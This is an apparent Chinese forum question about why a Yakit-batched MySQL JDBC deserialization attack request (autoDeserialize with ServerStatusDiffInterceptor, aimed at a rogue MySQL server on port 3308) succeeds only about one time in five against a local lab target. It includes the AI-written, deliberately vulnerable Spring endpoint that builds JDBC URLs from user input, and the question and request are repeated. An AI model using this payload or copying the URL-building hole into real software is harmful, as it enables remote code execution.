通过yakit批量发包,20次成功4次左右,能分析是什么原因吗?
POST /jdbc/test HTTP/1.1
Host: 127.0.0.1:8080
Accept: /
If-Modified-Since: Thu, 13 Aug 2026 01:17:16 GMT
User-Agent: Mozilla/5.0
Accept-Language: zh-cn
Accept-Encoding: br, gzip, deflate
Content-Type: application/json
{
"dbType": "mysql",
"host": "127.0.0.1",
"port": 3308,
"dbName": "test",
"username":"5646280c5c0e0aa10d3a86175294017e",
"password":"",
"extraParams": "autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=5646280c5c0e0aa10d3a86175294017e"
}
下面是AI写的靶场代码
`@PostMapping("/test")
public Map<String, Object> testConnection(@RequestBody JdbcConnectionRequest request) throws Exception {
Map<String, Object> result = new HashMap<>();
String url = buildJdbcUrl(request);
loadDriver(request.getDbType());
DriverManager.getConnection(url, request.getUsername(), request.getPassword());
result.put("url", url);
return result;
}
private String buildJdbcUrl(JdbcConnectionRequest req) {
String dbType = req.getDbType().toLowerCase();
String host = req.getHost();
int port = req.getPort();
String dbName = req.getDbName();
String extra = req.getExtraParams();
String baseUrl;
if (dbType.equals("mysql")) {
baseUrl = "jdbc:mysql://" + host + ":" + port + "/" + dbName;
} else {
throw new IllegalArgumentException("Unsupported database type: " + dbType);
}
// 拼接额外参数
if (extra != null && !extra.trim().isEmpty()) {
// 如果 extra 以 & 开头,去掉;否则加 ? 或 &
String trimmed = extra.trim();
if (!trimmed.startsWith("?") && !trimmed.startsWith("&")) {
if (!baseUrl.contains("?")) {
baseUrl += "?";
} else {
baseUrl += "&";
}
baseUrl += trimmed;
} else {
// 直接拼接(已包含 ? 或 &)
baseUrl += trimmed;
}
}
return baseUrl;
}
/**
* 根据数据库类型加载对应的 JDBC 驱动
*/
private void loadDriver(String dbType) throws ClassNotFoundException {
String driverClassName;
switch (dbType.toLowerCase()) {
case "mysql":
driverClassName = "com.mysql.cj.jdbc.Driver";
break;
case "postgresql":
driverClassName = "org.postgresql.Driver";
break;
case "h2":
driverClassName = "org.h2.Driver";
break;
default:
throw new IllegalArgumentException("Unsupported database type: " + dbType);
}
Class.forName(driverClassName);
}
public static class JdbcConnectionRequest {
private String dbType;
private String host;
private int port;
private String dbName;
private String username;
private String password;
private String extraParams;
// Getters and Setters
public String getDbType() {
return dbType;
}
public void setDbType(String dbType) {
this.dbType = dbType;
}
public String getHost() {
return host;
}
public void setHost(String host) {
this.host = host;
}
public int getPort() {
return port;
}
public void setPort(int port) {
this.port = port;
}
public String getDbName() {
return dbName;
}
public void setDbName(String dbName) {
this.dbName = dbName;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getExtraParams() {
return extraParams;
}
public void setExtraParams(String extraParams) {
this.extraParams = extraParams;
}
@Override
public String toString() {
return "JdbcConnectionRequest{" +
"dbType='" + dbType + '\'' +
", host='" + host + '\'' +
", port=" + port +
", dbName='" + dbName + '\'' +
", username='" + username + '\'' +
", extraParams='" + extraParams + '\'' +
'}';
}
}`
通过yakit批量发包,20次成功4次左右,能分析是什么原因吗?
POST /jdbc/test HTTP/1.1
Host: 127.0.0.1:8080
Accept: /
If-Modified-Since: Thu, 13 Aug 2026 01:17:16 GMT
User-Agent: Mozilla/5.0
Accept-Language: zh-cn
Accept-Encoding: br, gzip, deflate
Content-Type: application/json
{
"dbType": "mysql",
"host": "127.0.0.1",
"port": 3308,
"dbName": "test",
"username":"5646280c5c0e0aa10d3a86175294017e",
"password":"",
"extraParams": "autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=5646280c5c0e0aa10d3a86175294017e"
}
下面是AI写的靶场代码
`@PostMapping("/test")
public Map<String, Object> testConnection(@RequestBody JdbcConnectionRequest request) throws Exception {
Map<String, Object> result = new HashMap<>();
String url = buildJdbcUrl(request);
loadDriver(request.getDbType());
DriverManager.getConnection(url, request.getUsername(), request.getPassword());
result.put("url", url);
return result;
}